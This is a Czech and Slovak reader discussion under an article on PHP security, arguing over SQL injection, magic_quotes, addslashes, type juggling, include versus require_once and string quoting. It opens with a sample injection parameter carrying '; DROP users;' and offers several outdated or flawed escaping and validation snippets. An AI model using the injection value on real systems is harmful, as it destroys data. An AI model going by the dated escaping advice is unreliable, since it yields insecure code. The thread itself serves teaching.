"SELECT $_GET['what'] FROM users WHERE nick = `$_GET['nick']`;"
....
skript.php?what=name&id=nick`; DROP users;
-----
krome toho, ze misto ` by u _GET['nick'] mel autor pouzit ' (tedy apostrofy), si s jeho tvrzenim troufam dvojnasobne nesouhlasit.
1. v php.ini je defaultne zaple magic_quotes_qpc = 1. To znamena, ze veskere "nebezpecne" znaky v promennych od uzivatele (respektive z _GET, _POST a _COOKIE poli) jsou escapovany backslashem, takze misto autorem ocekavaneho
SELECT * FROM users WHERE nick = 'nick'; DROP users;
vznikne neskodne
SELECT * FROM users WHERE nick = 'nick\'; DROP users;'
navic, pokud je magic_quotes_gpc zaple a provedete autorem doporucovane mysql_real_escape_string, budete mit v databazi spoustu nadbytecnych stredniku.
dalsi vyhrada:
2. funkce mysql_query() odmitne provest vice nez jeden SQL dotaz, takze se bud provede jenom ten prvni (SELECT * FROM users WHERE nick='nick'), nebo bude vracena chyba a zadne data nezmizi.
Kazdopadne na dalsi pokracovani se tesim, hlavne na zrychleny vyvoj aplikaci :-)
Názory k článku
PHP pro experty: bezpečnost
Závažné chyby ve článku
celé vláknoRe: Závažné chyby ve článku
celé vláknoAd uvozovky:
Navic ony jednoduche uvozovky v hranatych zavorkach nesmi byt (tak, jak je to napsano, to zpusobi parse error).
"SELECT $_GET[what] FROM users WHERE nick='$_GET[nick]'"
Re: Závažné chyby ve článku
celé vláknobez uvozovek ani apostrofu u pole to urcite nepujde, bylo by potreba dat to do zavorek.. takze {_GET['nick']}
Re: Závažné chyby ve článku
celé vláknolol.. tady se to php odborniky jen hemzi...
prectete si obcas i ty zdanlive nezazivne pasaze v manualu, treba u poli, parsovani promennych v retezci atd. i jako dlouholety php programator se urcite neco dozvite
ad porovnani ruznych typu - co zkusit operator === ?
Re: Závažné chyby ve článku
celé vláknoNoo... takmer správne, ale chýba ti tam teraz $. :-) Ale určite to bol iba preklep.
Takže úplne správne v reťazci by to malo byť: "{$_GET['nick']}"
Re: Závažné chyby ve článku
celé vláknoTo je taky moožnost. Ale má verze je to elegantnější a naprosto správná, na tom trvám. Můžete vyzkoušet a/nebo se podívat do PHP manuálu.
Re: Závažné chyby ve článku
celé vláknoA ja zase trvám na tom, že Vaša možnosť správna nie je. :-) Aj keď funguje. Ide o to, že keď index neuzavriete do apostrofov, tak PHP najprv hľadá konštantu s názvom nick, definovanú pomocou define(), a keď žiadnu nenájde, tak to vezme ako reťazec "nick". Myslím, že ak si zapnete zobrazovanie úplne všetkých chýb (E_ALL), tak to (myslím) zobrazí notice.
A schválne. Skúste si pred použitím spraviť:
define('nick', 'HelloWorld');
a potom vyskúšať, ako sa to prejaví vo Vašom reťazci. PHP ho vyhodnotí ako $_GET['HelloWorld'] a budete tam, kde ste nechceli byť. :)
Re: Závažné chyby ve článku
celé vláknoNe, opravdu není správná.
Pokud bych měl asi takovéhle pole:
$pole[‚1‘] = „Prvni hodnota“;
$pole[‚0‘] = „druha hodnota“;
// Tak by vysledky vypadaly asi nasledovne:
echo $pole[0]; // Prvni hodnota
echo $pole[‚0‘]; //Druha hodnota
echo $pole[1]; // Druha hodnota
echo $pole[‚1‘]; // Prvni hodnota
Takže očividně není jedno, jestli je to v úvozovkách nebo ne ;)
Re: Závažné chyby ve článku
celé vláknoBez uvozovek to nepůjde? Na základě čeho tak soudíte...
http://cz.php.net/manual/cs/language.types.string.php#language.types.string.syntax.double
A preco by to neslo? [WAS:Závažné chyby ve článku]
celé vláknoA preco by to podla teba neslo neslo? As far as I know, ak php parser narazi na taketo nieco:
$foo = BAR;
najskor skontroluje ci BAR nie je definovana konstanta. Kedze asi nie je (co prepokladame), PHP automaticky urobi konverziu a bude postupovat dalej, ako keby BAR bola definovana ako retazcova konstatna 'BAR' (viac info: http://sk2.php.net/manual/en/language.types.array.php#language.types.array.foo-bar -- "It works because PHP automatically converts a bare string (an unquoted string which does not correspond to any known symbol) into a string which contains the bare string. For instance, if there is no defined constant named bar, then PHP will substitute in the string 'bar' and use that."). Samozrejme, hovoriac o cistote programovania, toto urcite nie je bezpecny sposob, ale funguje!
Apropos, najinteligentnejsi sposob ako zapisat spominany query je pouzit operator . (bodka - spajanie retazcov):
mysql_query("SELECT xyz FROM zyx WHERE something LIKE '" . $_GET['somewhat']);
Re: A preco by to neslo? [WAS:Závažné chyby ve článku]
celé vláknoEste cosi. Neviem preco to nebolo v clanku spomenute, ale urcite nie je na skodu pouzivat funkcie AddSlashes (http://sk2.php.net/manual/en/function.addslashes.php) a StripSlashes (http://sk2.php.net/manual/en/function.stripslashes.php), takze este lepsie ako to co som napisal vyssie je:
mysql_query("SELECT xyz FROM zyx WHERE something LIKE '" . AddSlashes($_GET['somewhat']));
Re: Este raz a naposledy
celé vláknoOspravedlnujem sa, je to tu trosku neprehladne, samozrejme, treba este doplnit koncovy apostrof a malo by to byt dobre:
mysql_query("SELECT xyz FROM zyx WHERE something LIKE '" . AddSlashes($_GET['somewhat']) . "'");
Re: Este raz a naposledy
celé vláknoprave tohle je jedna z chyb, na kterou jsem upozornoval.. vetsina serveru ma magic_quotes_gpc, takze se addslashes provadi "samo od sebe" -> dalsim pouzitim vygenerujete hromadu nepotrebnych stredniku.. je pravda ze se na to neda spolehat, ale neni snad problem zkusit ini_get() nebo get_magic_quotes_gpc() (nejak tak se ta fce jmenuje..) a overit si to..
Re: Este raz a naposledy
celé vláknoNemozem suhlasit. Tym, ze sa bude pouzivat AddSlashes a StripSlashes sa nic nepokazi (samozrejme ak budu spravne pouzite = vsetky stringy co do DB vkladam AddSlashujem, vsetky co vyberam hned StripSlashujem). Magic quotes na tom nic nezmeni. Jedine co ti moze vadit je, ze to mozes mat zashlashovane dvakrat a aj o tom si nie celkom isty, ze to tak funguje. Ale aj keby, je to mizive percento dat, takze velkost sa ti nijak extremne nezmeni.
Znova opakujem, co moze programator osetrit sam, nech osetri a nespolieha sa na to, ze je to alebo hento zapnute, lebo admin zrazu upgraduje na verziu, kde to default zapnute nebude, alebo sa produkt preportuje na inu masinu, alebo dokonca platformu a potom vznikaju zbytocne problemy. Staci sa len naucit robit take veci a nezanedbavat ich, vsetko je to o zvyku. Stareho psa novym trikom len tazko naucis ;)
Re: Este raz a naposledy
celé vláknoNesuhlasim. Ak pridas addslashes(), tak to budes mat tie backslashe dva krat.
Re: Este raz a naposledy
celé vláknomyslim ze jeho pohled na vec = TIMHLE ZPUSOBEM SE NEDA NIC POSRAT, AT JE SERVER NAKONFIGUROVANEJ JAKKOLI.
samo ze idealni by bylo do datovy vrstvy zakmochat automatickou detekci nastaveni nastaveni a automaticke (od)slashovani podle potreby, ale to nic nemeni na tom, ze predchozi zpusob je (alespon ze strany bezpecnosti) korektni. neefektivni, ale korektni.
Re: A preco by to neslo? [WAS:Závažné chyby ve člá
celé vláknodobre, ale tak muzete prehlednutim pouzit nazev nejake definovane konstanty.. pokud se ma clanek tykat bezpecnosti prograwmovani, tak je pouziti uvozovek urcite vhodne..
Re: A preco by to neslo? [WAS:Závažné chyby ve člá
celé vláknoTo je samozrejme. Pouzivanie stringov bez uvodzoviek/apostrfov je vec sakra nebezbecna, ale funguje a preto nie je na skodu vediet ako.
Re: Závažné chyby ve článku
celé vláknoV doporučené konfiguraci novjejsich php je magic_quotes_qpc vyple. Pro praktické použití se ani nevyplatí zapinat, protoze v 99% parametr jeste pred tim nez jej pouziju nejakym zpusobem zpracovavam (ruzne kontroly, converze) a pri tom zpetne lomitka jen zavazí. Já používám knihovnu pro praci s SQL ktera automaticky escapuje napriklad vkladana data.
Re: Závažné chyby ve článku
celé vláknoNevím, co je to doporučená konfigurace, ale v implicitní konfugurace PHP 4 i 5 je magic_quotes_gpc 1. Tak tomu je i na většině hostinzích.
Ano, strašně mně to vadí, protože si užívám zbytečnou gymnastiku se stripslashes a addslashes, ale nic jiného s tím nenadělám.
Re: Závažné chyby ve článku
celé vláknoDoporučená konfigurace se nachází v php.ini-recommended, výchozí je v php.ini-dist.
Re: Závažné chyby ve článku
celé vláknoJestli ti tvuj hosting nechce nastavit php podle tvych "rozumnych pozadavku" tak takovy hosting posli do ( )( ) a jdi jinam.
Ruzne poznamky
celé vlákno1.)
Funkce require a include pouzivam opravdu podle toho, zda je beh aplikace na vlozenych souborech zavisly. Nicmene je vzdy dobre si svoji aplikaci odzkouset na "krizove" situace. Zkuste sve aplikaci smazat ruzne soubory, zkazit pristupove udaje do databaze, pokazit SQL, abyste vedeli, jak se bude vase aplikace v takovem pripade chovat. Mimo jine pak dokazete rychleji odhalovat pripadne chyby, nebo zkutecne katastrofy (napr. nedostatek mista na disku vedouci k nefunkcnosti SESSION promennych a prazdnym logum)
2.)
Neverit uzivatelum (a pred spanim si to opakovat). Nesmite si myslet ze jsou hloupi, ale ze jsou vsichni utocnici. Pokud se budete odkazovat na POST promenne zjednodusene (pomoci $promenna), pak vam je nekdo lehce prebije pomoci upravy URL. Nehlede k tomu ze dobri uzivatele klidne zmeni i POST promenne v HTTP pozadavku.
3.)
Volani SQL jsem obalil vlastnimi funkcemi, ktere kontroluji ze SQL prikaz nezacina na nebezpecne slovo (DELETE atd.). Pokud vim, ze potrebuju jen SELECT, volam jej pres tyto funkce.
4.)
Vsechno co jde, logovat. Lepe se odhaluji chyby.
Re: Ruzne poznamky
celé vláknoad 2) S tim opakovani pred spanim opatrne, abyste vubec kvuli paranoi usli :) (na druhou stranu, paranoia je dobra vlastnost pro web-programatora)
Snovy pocitac
celé vláknoPred spanim radeji panaka, dobrou knizku, sex nebo cokoliv, jen ne programovat. Ja s tim prestal v okamziku kdy jsem se ve snu rebootoval a prozival paniku z nemoznosti pripojit se do site :-/ Jakmile prestanete ve spanku sam sebe povazovat za biologickou entitu a ztotoznovat se s problemy pocitace, rychle ubrat!
Re: Snovy pocitac
celé vláknoNebo vydrzet a pridat ;-))
Re: Ruzne poznamky
celé vláknoSuhlasim, suhlasim a este raz suhlasim, najma co sa tyka bodu 2! Napisat skript, alebo program ktory funguje tak ako ma nie je problem. Problem je napisat program, ktory v co mozno najvyssej moznej miere bude odolny voci nepredvidanym situaciam!
Re: Ruzne poznamky
celé vláknoPokud nekdo potrebuje pro provoz aplikace jen SELECT a a namisto nastaveni prav do db si hraje s PHP, tak je to k zamysleni...
$DIRECTORY_SEPARATOR
celé vláknoNejak jsem si popisovaneho problemu (tj. unix vs. windows) nevsiml. Jinymi slovy - mne to funguje s '/' na obou platformach.
Cim to?
Re: $DIRECTORY_SEPARATOR
celé vláknoOno to většinou funguje, ale existují případy kdy ne, stalo se mi, že to z neznámého důvodu nešlo.
Nicméně je to stejné jako s HTML, i když prohlížeče chyby přijmou, je lepší je nedělat.
Re: $DIRECTORY_SEPARATOR
celé vláknoZáleží na tom, co kdo považuje za chybu. Jsem skálopevně přesvědčen, že správně se ve Windows používá /, zatímco znak \ je jen pozůstatek z DOSu. Pokud nějaký program direktivně vyžaduje použití zpětného lomítka, pak je v něm chyba, to mi nikdo nevymluví :)
chybna XP ???
celé vláknoTedy cela XPcka a 2003 jsou chybne kdyz pouzivaji slepe backslash ???
Oni jsou chybne, ale vic a jinak...
Re: $DIRECTORY_SEPARATOR
celé vláknoNormalni lomitka se ve Windows pouzivaji tak max. k uvadeni parametru pri spousteni aplikaci ;)
Uz jsem videl pripad, kdy se nekdo pokousel (v PHPku) spustit pres system() volani nejakou aplikaci v adresari pod windows a pouzival normalni lomitko... a divil se, proc mu to nejde.
O DIRECTORY_SEPARATOR jsem nevedel, zase jsem o neco chytrejsi :-)
Re: $DIRECTORY_SEPARATOR
celé vláknoPokud se něco nezměnilo, tak to, že fungují pod Wokny i normální lomítka zařizují runtime knihovny jazyka C. Takže pro otevírání souborů to fungovat bude (include, require, ...) ale při předávání cesty ven to fungovat nemusí (spuštění programu pomocí system, ...)
Re: $DIRECTORY_SEPARATOR
celé vláknoNiektore funkcie (napriklad na pracu so subormi alebo filesystemom), najma v starsich PHP s tym mali problemy a chovali sa nepredvidane.
Konečně příklady z praxe
celé vláknoO bezpečnosti při programování v PHP se stále mluví, ale ještě nikdo nenapsal článek, ve kterém by se této problematice podrobně věnoval. Proto tuto aktivitu víc než vítám, i když se někde vyskytne nějaká chyba, má to tu obrovskou výhodu že to v příspěvku někdo okomentuje a upozorní na možné problémy. Víc hlav víc ví a nikdo nemá celou problematiku zvládnutou na 100%. Jen tak dál...
:)
OWASP, OWASP....
celé vlákno1. Magic quote nemusí být zapnutý. První zásada zní: Nekdy se nespoléhejte na něco, co nemůžete zcela ovlivnit. Na webhostingu někde na serveru daleko v USA těžko donutíte roota aby Vám magic quote zapnul, když on to nechce. Navíc ta funkce má velmi ošidné důsledky. Třeba ten, že nikdy přesně nevíto, co ten server za vás vymyslí.
2. Pro ty, co to s bezpečností myslí opravdu vážně doporučuju prostudovat si zásady Open Web Appliaction Security Projectu (www.owasp.org)
3. SQL a středník: Já bych si tímto tvrzením nebyl opravdu tak moc jistý. Vždycky se dá najít klička, jak nějaký příkaz "ošulit". A myslím, že těch kliček bude povíc. Typicky u MS SQL to bez jakýchkoliv problémů jde provést. Dokonce tak lze zakládat uložené procedůry, triggery a pod. Navíc jsou tu podstatně jiné - horší důsledky. Zkuste se zamyslet nad tím, co se staně, když použijete třeba --, nebo komentáře :o).
Mě se ten článek líbil, i když já bych jej docela dost doplnil.
Bezpečnost aplikací (kterou se zabývám jen asi 10 let) mne zkrátka nikdy nepřestane překvapovat....!
Clanek se mi libil
celé vláknoProtože přez určité nepřesnosti nabízí spoustu věcí, které člověk už náký pátek automaticky píše k opětovnému a hlubšímu zamyšlení. Navíc jak se zdá půjde o sérii, která nepokračuje trendem zkracování (viz proglamování pod Linuxem pro všechny)
Přetypování při porovnání
celé vláknoAd přetypováním přednostně na int při porovnání pomocí == : užitečná informace, to jsem nevěděl :-)
Jinak to samozřejmě řeší operátor ===
Re: Přetypování při porovnání
celé vláknoNo me prave tohle pripada uplne mimo. Pokud cekam od uzivatele jako vstup cislo, nebudu preci vstup pretypovavat na int ale prozenu jej nejakym ereg() ci necim podobnym a pripadne vypisi chybu. Pokud vstup pretypuji na int (ci float), uz nikdy nezjistim, co tam vlastne bylo...
Dalsi vec ke ktere mam vyhradu je nezmineni funkci require_once a include_once, coz jsou funkce daleko uzitecnejsi, nez jen samotne require,include.
Autorovi preji hodne zdaru, osobne si myslim, ze v PHP nelze bezpecne programovat a nemusi to byt jen tim, ze programator je cune. Jazyk na to neni postaven (viz operatory =, ==, === - tohle ma snad jen php) a taky dost zalezi na verzi PHP, ktera bezi na serveru. Pokud chci neco bezpecneho, pouziji typove bezpecny jazyk (java), kde je uz na urovni jazyka jasne, co je int a co je String. PHP je jazyk skriptovaci, ne programovaci...
Bundik
Re: Přetypování při porovnání
celé vláknoJa to resim pres if(is_intiger($_POST['vstup']))
Re: Přetypování při porovnání
celé vláknoNo ona funkce is_integer() Vam zjisti, zda-li je promenna typu integer, coz ale nemusi byt vzdy to co potrebujete. Zkuste tento kod:
$n = "1";
echo "$n " . (is_integer($n) ? "je" : "neni") . " integer";
Pokud chcete zjistit, zda-li ve stringu mate cislo, nepomuze Vam to.
Bundik
Re: Přetypování při porovnání
celé vláknoIMHO is_int($_REQUEST[cokoliv]) je vzdycky false. ja bych pouzil spis is_numeric() :-)
Re: Přetypování při porovnání
celé vláknochyba lavky, operatory =,==,=== maju aj c, c++, java.. atd..
Re: Přetypování při porovnání
celé vláknoNo co vim, tak C,C++,Java maji opeatory = (pro prirazeni) a == (pro porovnani). Ale === uz opravdu ne (mozna jestli nemate nejake specialni makro co z === udela ja fakt nevim co :) )
Re: Přetypování při porovnání
celé vláknoGrrrr, operatory = (prirazeni) a == (porovnani) ma i java a C(++) a dalsi jazyky, slo mi spise o to, ze prave proto, ze php je beztypovy jazyk potrebuje i operator ===. Jak jsem to napsal puvodne, tak to vyznelo tak, ze = a == ma jen php, coz je blbost.
Bundik
Re: Přetypování při porovnání
celé vláknooperátor === má na 100% aj Java. Už som zabudol, čo presne porovnáva, ale marí sa mi, že porovnáva, či dve premenné ukazujú na tú istú inštanciu objektu. Nekameňujte ma pls, ak porovnáva niečo iné.
Možno ho má aj C++, ale to som si neni istý.
Re: Přetypování při porovnání
celé vláknoA možno nie. Alebo na 100%?
Kážeš bludy, brachu. Možná si to pleteš s javovským >>>= :-)
Re: Přetypování při porovnání
celé vláknosi normalny ? === v jave ? co by potom robil operator == ? ten by vracal true pre ,,podobne objekty'' ?
C++ ho nema tiez
Re: Přetypování při porovnání
celé vláknoPresne tak. = pro vicemene podobne objekty (spis nepodobne), == pro docela podobne, === pro hodne podobne, ==== pro moc moc moc moc podobne a ===================== pro uplne stejne ;)
Re: Přetypování při porovnání
celé vláknoNenenene, ===================== neni pro uplne stejne, jenom pro ty, ktere jsou jen opravdu velice tezko rozeznatelne. Uplne stejne objekty jsou takove, ktere projdou =^n pro libovolne n, coz se obvykle zapisuje jako lim_{n->\infty}{=^n}
Pak definujeme miru podobnosti dvou objektu a, b jako nejvetsi n takove, ze plati a =^n b. Existuji pak operatory =< a =>, ktere porovnavaji podobnost dvou objektu.
:o)
Re: Přetypování při porovnání
celé vlákno=, == a === má i JavaScript.
Re: Přetypování při porovnání
celé vláknoA JavaScript je jak jiz sam nazev napovida skriptovaci jazyk, nikoliv jazyk na programovani...
Re: Přetypování při porovnání
celé vláknoJasně, že na vstup je lepší regexp. Já jsem měl na mysli tu vlastnost PHP upřednostnit int před stringem, rozhodně tímto způsobem uživatelské vstupy neošetřuji.
Re: Přetypování při porovnání
celé vláknoJa si myslim, ze to zavisi od kontextu cisla, ktore pouzivam. Napr. ak ocakavam ID (napr do databazy), o ktorom viem, ze je urcite vacsie ako nula, pretypovanie na int a kontrola na nulu je celkomm vhodna a dostacujuca:
if ((int) $nID > 0) {
// whatsoever ..
}
Navyse pretypovanie ma tu krasnu vlastnost, ze ak napriklad retazec '474boeing' po pretypovani bude cislo 474 (ale napr. '474boeaing4' bude tiez 474). Problem je v tom, ze premenne posielane GET-om alebo POST-om su interne prezentovane ako retazce, a az pri pouziti sa pripadne automaticky konvertuju na potrebne typy. Dolezita zasada cisteho a bezpecneho programovania je zriect sa lenivosti a drzat sa hesla: "co mozem ovplivnit sam, nenecham na automatiku a nebudem potom neprijemne prekvapeny ked si jedneho rana najdem prazdnu databazu" :) Takze pretypovanie ma urcite svoj zmysel.
Este poznamocka k pouzivaniu funkcii is_int() a is_numeric(): Funkcia is_int ocakava na vstupe integer, tj. prave tu je potrebna konverzia vstupneho parametru na integer. Funkcia nesluzi na to, aby zistovala ci je retazec cislo! Na to, naopak sluzi funkcia is_numeric, ktora "Finds whether a variable is a number or a numeric string". Dolezita poznamka k funkcii is_numeric(): Aj retazec '10.55' je cislo, takze funkcia vrati true! Ak chcete zistit, ci je premenna *CELE* cislo, musite tieto dve funkcie skombinovat:
if (is_numeric($nCislo) && is_int((int) $nCislo)) {
// whatsoever...
}
Pozrite si manual k tymto funkciam: http://sk2.php.net/manual/en/function.is-int.php a http://sk2.php.net/manual/en/function.is-numeric.php
Navyse, mam pocit, ze vznikol mylny dojem, ze napr. po:
if ((int)$nCislo > 0)
stratim obsah povodnej premennej (tj. ak v nej bolo napr. '485xyz', ze z nej zostane len 485). To samozrejme NIE JE PRAVDA, rovnako ako po:
$a = 4
if($a + 1 == 5)
nebude v $a 5, ale zostane tam 4! Musel by som vykonat priradenie, napr. takto:
$nCislo = (int) $nCislo;
Co som chcel tymto vsetkym povedat? Aha.. chcel som odpovedat na odkaz: ak ocakavam na vstupe cislo, pretypovanie nemoze predstavovat chybu! Skor by malo byt ziadane a imperativne! Nuz a samozrejme pouzivanie regularnych vyrazov na kontrolu ci nieco je alebo nie je cislo je dalsi nezmysel (najma ak existuju na to vstavane funkcie), pretoze je to strasne pomale (vseobecne plati, ze pokial sa mozno regexpom vyhnut, treba sa im vyhnut:)
Re: Přetypování při porovnání ... chybka
celé vlákno"... Ak chcete zistit, ci je premenna *CELE* cislo, musite tieto dve funkcie skombinovat:
if (is_numeric($nCislo) && is_int((int) $nCislo)) {
// whatsoever...
}
... "
Bohužel, ale tímto to určitě nezjistíte. Výsledkem druhé části podmínky, tj. "is%_int((int) $nCislo)", bude vždy pravda. Jakákoliv proměnná (dokonce i pole) jí vyhoví, když z ní ten integer napřed uděláte. Takže vaše "whatsoever" se vykoná nejen pro vaše $nCislo = '10.55', ale i např. pro řetězec $nCislo = '-256.02e-7'.
To už by bylo lepší použít toto:
if (is_numeric($nCislo) && (int) $nCislo == $nCislo)
{
...
}
Nicméně této podmínce vyhoví i řetězec $nCislo = '256.00', ale kupodivu už ne '2.56e2', které je vlastně také stejné ;o)
Pokud trváme na tom, aby uživatel vložil *CELÉ* číslo, nezbyde nám stejně nic jiného (nic elegantnějšího), než v podmínce použít funkci
ereg('^[\+\-]?[0-9]+$', $nCislo)
případně
ereg('^[0-9]+$', $nCislo)
require/include
celé vláknoa co takhle spis require_once a include_once?
Re: require/include
celé vláknorequire_once a include_once se pouziva na zjisteni, jestli soubor byl nebo nebyl uz nacteny, je to dobre napriklad pro vkladani konstant ci funkci, napriklad:
require_once 'config.php';
nicmene pokud uvazuji, ze do kodu se vlozi obsah neceho zarucene jednou, neni duvod to jeste osetrovat funkci.
Re: require/include
celé vláknoVelice snadno se Vam muze stat, ze pokud pracuje na projektu vice lidi, dojde ke vlozeni jednoho souboru vicekrat (napr. zminovany config.php v pripade 'modulu'). 'require_*' Vam prave _zaruci_ to, ze soubor se vlozi jen jednou, poprve a nemusite nic kontrolovat, predpokladat ci spolehat na kolegy.
Bundik
Re: require/include
celé vláknoPokud se na zacatku projektu stanoví správně struktura kódu tak se to nestane
Re: require/include
celé vláknoNení pravda. Např. já používám třídu, která zapouzdřuje rozhraní MySQL. Je deklarována v externím souboru a ten once-requireuju do souborů s deklaracemi jiných tříd, které tu MySQL třídu využívají. Nemám pak problémy, když se mi v jednom souboru seběhnout requiry několika takových tříd. Špatný návrh by byl, kdybych musel při require jedné třídy myslet na to, že mám natáhnout i třídu MySQL.
BTW Vždyť i C header soubory mají konstrukci #ifndef _STDIO_H #define _STDIO_H ...
Re: require/include
celé vláknoa pokud se na zacatku projektu zakazou preklepy a chyby, tak se taky nestanou? :)))
Re: require/include
celé vláknoNo jasne, to ted zjistili! Je to to samy, jako kdyz si reknes: "dneska nenabouram!" a je to!
Nenabouras, mozna...
skvele
celé vláknoDoufam ze bude hodne dilu! Skvely clanek, diky
hardwarová náročnost aplikace
celé vláknokdyz uz se autor pozastavil nad rozdilem mezi pouzitim jednoduchych a dvojitych uvozovek v souvislosti s narocnosti na aplikaci tak by taky mel podle me zminit i rozil mezi pouzitim "xxx $xxx" a 'xxx '.$xxx, ktery je podle mne dostupnych informaci mnohem vetsi nez rozdil mezi pouzitim jednoduchych a dvojitich uvozovek na "holy" text
Re: hardwarová náročnost aplikace
celé vláknoTo by mě taky docela zajímalo. Jaký je podle vašich informací rozdíl (doufám že to není nějaké tvoření objektu string 1 a string 2, ze kterých se potom vygeneruje výsledek)?
Re: hardwarová náročnost aplikace
celé vláknoRozdiel je hlavne v tom, ze string v dvojitych uvodzovkach PHP parsuje, zatial co retazec v apostrofoch nie:
$sTest = 'test';
echo "Toto je $sTest"; // Vypise: Toto je test
echo 'Toto je $sTest'; // Vypise: Toto je $sTest
// Treba pouzit:
echo 'Toto je ' . $sTest; // Vypise: Toto je test
Takze hlavny rozdiel je v rychlosti, pretoze PHP netusi, ze v dvojitych uvodzovkach nie je ziadna premenna, musi to preparsovat tak ci onak, aj ked si myslim, ze pri beznych projektoch je tento rozdiel zanedbatelny, ale pri castom generovani rozsiahlych stranok na frekventovanych strankach sa moze nezanedbatelne podielat na rychlosti, ci skor pomalosti stranok.
Navyse, ak pouzivam text, v ktorom je priamo zakomponovana premenna je potencialne nebezpecne (vid rozne queries do databazy, ktore sa bezne pisu: "SELECT xyz FROM zyx WHERE something LIKE '$somewhat'" -- vyssie je o tom cela diskusia:) Pouzivanie operatora . (bodka - spajanie retazcov) nas (aspon mna:) navadza k analyzovaniu toho, co prave pisem a lahsiemu zabezpeceniu potencialnych dier (napr. aplikovanim funkcii na danu premennu).
Re: hardwarová náročnost aplikace
celé vláknoZkuste si udelat par rychlostnich testu... (napr. par desitek tisic itreaci) a zjistite, ze
pri prizazovani je nejrychlejsi varianta
$foo = 'text '.$bar;
, ale pri vypisu je nejrychlejsi
echo "text $bar";
Re: hardwarová náročnost aplikace
celé vláknoRe: hardwarová náročnost aplikaceRe: hardwarová náročnost aplikace
celé vláknoTedy obecně není rozdíl v HW náročnosti při použití jednoduchých nebo dvojitých uvozovek. Pokud mi nevěříte, podívejte se na bytecode.
I když je to zdánlivě nelogické,.... jo to je ;)
celé vlákno$cislo = (int) $_GET['cislo];
if($cislo == 'ahoj'){
echo 'ok';
}
I když je to zdánlivě nelogické, skript vypíše text "ok", protože....
Je to nelogicke ;) .. skončí parsem :) chybí uvozovka
Re: I když je to zdánlivě nelogické,.... jo to je ;)
celé vláknoAle no tak, o tom ten clanek snad neni, ne ?
Re: I když je to zdánlivě nelogické,.... jo to je
celé vláknoPHP pro experty: bezpečnost
Bezpečnost je především o přesnosti ;). Když v pravislech na FW udělam překlep, tak se mi to krutě vymstí...
A když programuje expert, tak si to po sobě taky kontroluje (a nebo nechybuje)
Ale na 2. stranu je fakt, že jsem nevěděl o skrývání přípon. Takže něco jsem si přece z článku odnesl.
Re: I když je to zdánlivě nelogické,.... jo to je
celé vlákno"A když programuje expert, tak si to po sobě taky kontroluje (a nebo nechybuje)"
Nejsem si zdaleka jist nakolik je psani skriptu v PHP "programovani" a uz vubec si nejsem jist tim od jake faze dal se jeden muze povazovat za experta. Nicmene jsem si (za ubohych 15 let programovani) jist tim, ze neexistuje programator ktery nechybuje a ze zadna kontrola neni 100%. Me spis jenom zarazi, ze ti tak nejak neodslo, ze ten kus skriptu se nedostal do clanku cut & pastem, ale autor ho tam psal rucne. Zkus sam napsat par clanku (napriklad o tom kterak hacknout xchat) a pak si dole v komentarich pod textem povime.
Re: I když je to zdánlivě nelogické,.... jo to je
celé vláknoČlánek (na Root.cz) jsem napsat zkusil a musím potvrdit, že slušný autor si po sobě kód zkontroluje...
Re: I když je to zdánlivě nelogické,.... jo to je
celé vláknoTak nějak jsem nikdy neměl pocit, že mám něco napsat. A když ano, tak jsem se podíval jestli to už nenapsal někdo předemnou. Když ano, tak proč to psát. tolik asi k mé tvorbě.
No a pak by mě zajímalo, proč sem pleteš xchat a oběvování jeho nedostatků? Xchat je opravdu podkladem pro tvrzení: "... neexistuje programator ktery nechybuje a ze zadna kontrola neni 100%." Programování a testování kódu je u něho prováděno tak trošku prapodivně. Pokud myslíš, že ne, tak proč jsou jeho fragmenty roztroušeny na Internetu? :))))
Re: I když je to zdánlivě nelogické,.... jo to je
celé vláknoKde se da na nejaky ten fragment narazit?? Byl bych za pomoc vazne vdecny. Staci mail. Diky moc!
Re: I když je to zdánlivě nelogické,.... jo to je
celé vláknoto snad ani nezasluhuje komentar ;) ... udelal bych trestny cim, kdybych sem dal odkaz :).
viz pravidla xchatu a zneuzivani jeho chyb ;)
Re: I když je to zdánlivě nelogické,.... jo to je
celé vláknoTaky by sis po sobě měl zkontrolovat co píšeš: viz "oběvování". Je vidět, že moc "jazyků" neovládáš!
Re: I když je to zdánlivě nelogické,.... jo to je
celé vláknoprogramovani neni o jazyku, ani o matice, jak tvrdi "experti" (i kdyz maji nakrasne "ubohych 15 let zkusenosti", hlavne zadnou falesnou skromnost).
je o algoritmizaci. a stejne tak jako muzes udelat "skript" v cecku (programek na urovni skriptu), tak muzes ve skriptovacim jazyce napsat husty program - viz napr dolovani informaci z exchange a jejich nasledne zpracovani, to cele v javascriptu, kterym zase nejaky frajer opovrhoval vyse. netvrdim, ze by to v nicem jinem udelat neslo, ani ze javascript byl nejvhodnejsi, ale evidentne na to stacil, beha to bez problemu a to je vsechno, co se od nej vyzaduje. a nas admin je stastnej jak blecha, ze mu na to stacil textovej editor, nepotrebuje to rekompilovat po zmene a HLAVNE ze to chodi.
takze co ma delat "opravdovy programator" ?
jen proto, ze php je jen "zasranej skriptovaci jazyk" se vrhnout do vyroby CGI aplikace, pokud mozno v assembleru, a pro jednoduchy proparsovani souboru s logama a jejich nacpani do DB si misto 20radkovyho perlovyho skriptu napise 150 radkovej "program" v cecku ?
takze - jako obvykle - je to o programatorech a "programatorech" ;-)))
Pokracovani se vyplati...
celé vláknojako spravce systemu musim dost casto uzivatelum/programatorum v PHP vysvetlovat, proc mam trosku restriktivneji nakonfigurovane php.ini a proc jim nebezi skripty na Unixovem web serveru, ktere si vyvinuli doma na Windowsech.
Pokracujte, je to rozsahla problematika a tezko ji popsat celou v jednom clanku. Preji hodne trpelivosti tesim se na pekne priklady.
Re: Pokracovani se vyplati...
celé vláknoA nomohl by jste mi prosim takove ukazkove "paranoidnejsi" php.ini ukazat ?
Lip by se mi na mojem testovacim serveru vyvyjelo a vyhnul bych se pripadnym konfliktum se zkusenejsimi spravci siti u nekterych (budoucich) zakazniku ...
rychlost ereg_* fcii
celé vláknoautor sa vyzna, horli tu za pouzivanie apostrofov miesto uvodzoviek v stringoch, ale to, ze pouziva ultrapomale ereg_* miesto preg_* ho prilis nepali. nabuduce este uvedte, ze prilis vela enterov vyrazne spomaluje vykonavanie kodu, takze vsetko treba pisat do jedneho riadku, aby to bolo rychlejsie ;-P
Re: rychlost ereg_* fcii
celé vláknoMusim rict, ze to me taky pobavilo, ze v jednom odstavci jsou odsouzene uvozovky za pomalost a hned zatim je pouziti regularniho vyrazu (a je jedno, zda-li je to ereg nebo preg).
:-)
O.
Re: rychlost ereg_* fcii
celé vláknoA navic pro jednoduche overovani se daji pouzit 'Character type functions'.
Re: rychlost ereg_* fcii
